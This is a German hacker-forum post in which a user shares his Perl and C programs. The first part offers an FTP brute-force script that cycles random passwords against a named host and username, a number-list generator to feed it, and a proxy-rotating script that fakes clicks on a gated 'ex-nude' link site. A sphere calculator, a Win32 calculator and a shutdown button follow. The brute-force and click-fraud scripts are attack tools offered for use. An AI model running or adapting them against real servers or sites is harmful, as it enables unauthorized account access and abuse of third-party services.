Banned
Registriert seit: Sep 2008
Ort: Bayern
Beiträge: 175
Bedankt: 8
|
Meine Programme
Ein kleines Perl-S***** mit dem ihr (vorrausgesetzt ihr wisst den Usernamen) einen Server Brute-Forcen könnt.
PHP-Code:
#!/usr/bin/perl
# Brute-Force
# by Veni_Vidi_Vici
# 13.09.2008
use LWP::UserAgent;
printf("[*] Opening password list\n");
open(PLIST,$ARGV[0]) or die("Error opening password list");
my @passwords = <PLIST>;
chomp(@passwords);
srand();
close(PLIST);
printf(" [+] Done.\n");
while(1){
$password = $passwords[rand(@passwords)];
printf("[*] using '$password'\n");
use Net::FTP;
$ftp = Net::FTP->new("username.freehostia.de", Debug => 0)
or die "Cannot connect to username.freehostia.de: $password";
$ftp->login("bierwagen",$password)
or die("$passwort korrekt!") if($ftp->login("username",$password));
}
Zum Zahlen generieren für die FTP-Brute-Force
PHP-Code:
#!usr/bin/perl
use List::Util "shuffle";
@a=(0..99999);
open(F,">Zahlen.txt");
print F join("\n",shuffle @a);
close(F);
Kleines S***** um Dieb-Links zu umgehen, d.h. Seiten wie meine-ex-nackig etc.
Natürlich benötigt ihr dazu eine Proxyliste (sollte aktuell sein).
PHP-Code:
use LWP::UserAgent;
printf("[*] Opening proxy list\n");
open(PLIST,$ARGV[0]) or die("Error opening proxy list");
my @proxies = <PLIST>;
chomp(@proxies);
srand();
close(PLIST);
printf(" [+] Done.\n");
while(1){
$proxy = $proxies[rand(@proxies)];
printf("[*] using '$proxy'\n");
$urlb = "http://www.meine-ex-nackt.de/138313";
printf("[*] trying...\n");
$agent = new LWP::UserAgent;
$agent->proxy('http' => "http://$proxy/");
$result = $agent->get($urlb);
$cont = $result->content();
if($cont =~ /CoDeeN/) {
printf("[*] this is a CoDeeN proxy, sleeping 10 secs\n");
sleep(10);
printf("[*] now retrying\n");
$result = $agent->get($urlb);
$cont = $result->content();
}
if( $cont =~ /web/i) {
printf(" [+] clicked.\n");
} else {
print($cont);
printf(" [-] fail.\n");
}
}
Kugelberechnung
PHP-Code:
#!/usr/bin/perl
$r = 0;
$d = 0;
$auswahl1 = "1";
$auswahl2 = "2";
while(1) {
print "Geben sie 1 fuer eine Berechnung einer Kugel mit gegebenen\nRadius oder eine andere selbstgewählte Zahl fuer eine Berechnung mit dem\ngegebenen Durchmesser ein: ";
chomp ($auswahl1=<STDIN>);
if ($auswahl1 eq 1) {
print"\nGeben sie den Radius der Kugel ein: ";
chomp ($r = <STDIN>);
$Vkr= $r*$r*$r*3.14*4/3;
print"\nDas Volumen der Kugel betraegt: ";
printf("%.2f\n", $Vkr);
$Okr= 4*3.14*$r*$r;
print"Die Oberflaeche der Kugel betraegt: ";
printf("%.2f\n\n\n\n", $Okr);}
else {
print"\nGeben sie den Durchmesser der Kugel ein: ";
chomp ($d = <STDIN>);
$Vkd= $d*$d*$d*1/6*3.14;
print"\nDas Volumen der Kugel betraegt: ";
printf("%.2f\n", $Vkd);
$Okd= 3.14*$d*$d;
print"Die Oberflaeche der Kugel betraegt: ";
printf("%.2f\n\n\n\n", $Okd);
}
}
<STDIN>
Taschenrechner (leider noch nicht ganz fertig; fehlen noch CE, Komma...)
PHP-Code:
#include <windows.h>
#include <cstring>
#include <stdio.h>
#include <cstdio>
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT ("Taschenrechner") ;
HWND hwnd ;
MSG msg ;
WNDCLASS wndclass ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = LoadIcon (NULL, IDI_INFORMATION) ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (BLACK_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName,
TEXT ("Taschenrechner"),
WS_SYSMENU,
290,
290,
290,
290,
NULL,
NULL,
hInstance,
NULL) ;
ShowWindow (hwnd, iCmdShow) ;
UpdateWindow (hwnd) ;
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static char zeichen[0], anzeige[20];
static HWND Button[14], Edit;
static float iresult, iZahl_eins, iZahl_zwei ;
static char op = ' ';
switch (message)
{
case WM_CREATE:
{
for (int i = 0; i < 10; i++)
{
ltoa (i, zeichen, 10);
Button[i] = CreateWindow( "button",
zeichen,
WS_CHILD | WS_VISIBLE,
0, 0, 0, 0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
}
Button[10] = CreateWindow( "button",
"+",
WS_CHILD | WS_VISIBLE,
0,0,0,0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
Button[11] = CreateWindow( "button",
"-",
WS_CHILD | WS_VISIBLE,
0,0,0,0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
Button[12] = CreateWindow( "button",
"*",
WS_CHILD | WS_VISIBLE,
0,0,0,0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
Button[13] = CreateWindow( "button",
"/",
WS_CHILD | WS_VISIBLE,
0,0,0,0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
Button[14] = CreateWindow( "button",
"=",
WS_CHILD | WS_VISIBLE,
0,0,0,0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
Edit = CreateWindow (TEXT ("edit"), anzeige,
WS_CHILD | WS_VISIBLE | WS_BORDER |
ES_RIGHT | ES_AUTOHSCROLL ,
0, 0, 0, 0, hWnd, (HMENU) 1,
((LPCREATESTRUCT) lParam) -> hInstance, NULL) ;
return 0;
}
case WM_SIZE:
{
MoveWindow(Button[1], 15, 50, 40, 30, true);
MoveWindow(Button[2], 75, 50, 40, 30, true);
MoveWindow(Button[3], 135, 50, 40, 30, true);
MoveWindow(Button[4], 15, 100, 40, 30, true);
MoveWindow(Button[5], 75, 100, 40, 30, true);
MoveWindow(Button[6], 135, 100, 40, 30, true);
MoveWindow(Button[7], 15, 150, 40, 30, true);
MoveWindow(Button[8], 75, 150, 40, 30, true);
MoveWindow(Button[9], 135, 150, 40, 30, true);
MoveWindow(Button[0], 15, 200, 70, 30, true);
MoveWindow(Button[10],195, 50, 80, 30, true);
MoveWindow(Button[11],195,100, 80, 30, true);
MoveWindow(Button[12],195,150, 80, 30, true);
MoveWindow(Button[13],195,200, 80, 30, true);
MoveWindow(Button[14],105,200, 70, 30, true);
MoveWindow(Edit, 15, 10, 260, 25, true);
return 0;
}
case WM_COMMAND:
{
if (lParam == (LPARAM)Button[0])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '0';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[1])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '1';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[2])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '2';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[3])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '3';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[4])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '4';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[5])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '5';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[6])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '6';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[7])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '7';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[8])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '8';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[9])
{
if (HIWORD(wParam) == BN_CLICKED)
zeichen[0] = '9';
std::strcat(anzeige,zeichen);
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[10])
{
if (HIWORD(wParam) == BN_CLICKED)
op = '+';
iZahl_eins = atoi(anzeige);
std::strcpy(anzeige, " ");
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[11])
{
if (HIWORD(wParam) == BN_CLICKED)
op = '-';
iZahl_eins = atoi(anzeige);
std::strcpy(anzeige, " ");
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[12])
{
if (HIWORD(wParam) == BN_CLICKED)
op = '*';
iZahl_eins = atoi(anzeige);
std::strcpy(anzeige, " ");
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[13])
{
if (HIWORD(wParam) == BN_CLICKED)
op = '/';
iZahl_eins = atoi(anzeige);
std::strcpy(anzeige, " ");
SendMessage(Edit, WM_SETTEXT, 0,(LPARAM) anzeige);
}
if (lParam == (LPARAM)Button[14])
{
if (HIWORD(wParam) == BN_CLICKED)
iZahl_zwei = atoi(anzeige);
if (op == '+')
{
iresult = iZahl_eins + iZahl_zwei;
}
if (op == '-')
{
iresult = iZahl_eins - iZahl_zwei;
}
if (op == '*')
{
iresult = iZahl_eins * iZahl_zwei;
}
if (op == '/')
{
iresult = iZahl_eins / iZahl_zwei;
}
sprintf(anzeige, "%f", iresult);
SendMessage(Edit, WM_SETTEXT, 0, (LPARAM) anzeige);
}
if (lParam == (LPARAM)Edit)
{
if (HIWORD(wParam) == BN_CLICKED)
SendMessage(hWnd, WM_CLOSE, 0, 0);
}
return 0;
}
case WM_DESTROY:
{
PostQuitMessage(0);
return 0;
}
}
return DefWindowProc(hWnd, message, wParam, lParam);
}
http://rapidshare.com/files/15368057...chner.exe.html
Shutdown (Einfach ein Ausschaltbutton)
PHP-Code:
#include <windows.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
BOOL WINAPI MyShutdownSystem()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return( FALSE );
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);
if (GetLastError() != ERROR_SUCCESS)
return FALSE;
if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0))
return FALSE;
return TRUE;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
MSG msg;
HWND hWnd;
WNDCLASS wc;
const char szAppName[] = "Shutdown";
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hbrBackground = (HBRUSH) GetStockObject(LTGRAY_BRUSH);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hInstance = hInstance;
wc.lpfnWndProc = WndProc;
wc.lpszClassName = szAppName;
wc.lpszMenuName = NULL;
wc.style = CS_HREDRAW | CS_VREDRAW;
RegisterClass(&wc);
hWnd = CreateWindow( szAppName,
szAppName,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
200,
100,
NULL,
NULL,
hInstance,
NULL);
ShowWindow(hWnd, iCmdShow);
UpdateWindow(hWnd);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static HWND hButton;
switch (message)
{
case WM_CREATE:
{
hButton = CreateWindow( "button",
"Ausschalten",
WS_CHILD | WS_VISIBLE,
0, 0, 0, 0,
hWnd,
NULL,
((LPCREATESTRUCT) lParam) -> hInstance,
NULL);
return 0;
}
case WM_SIZE:
{
MoveWindow(hButton, LOWORD(lParam) / 2 - 80, HIWORD(lParam) - 30,
160, 22, TRUE);
return 0;
}
case WM_COMMAND:
{
if (lParam == (LPARAM)hButton)
{
if (HIWORD(wParam) == BN_CLICKED)
MyShutdownSystem();
}
return 0;
}
case WM_DESTROY:
{
PostQuitMessage(0);
return 0;
}
}
return DefWindowProc(hWnd, message, wParam, lParam);
}
http://rapidshare.com/files/153681103/Shutdown.exe.html
|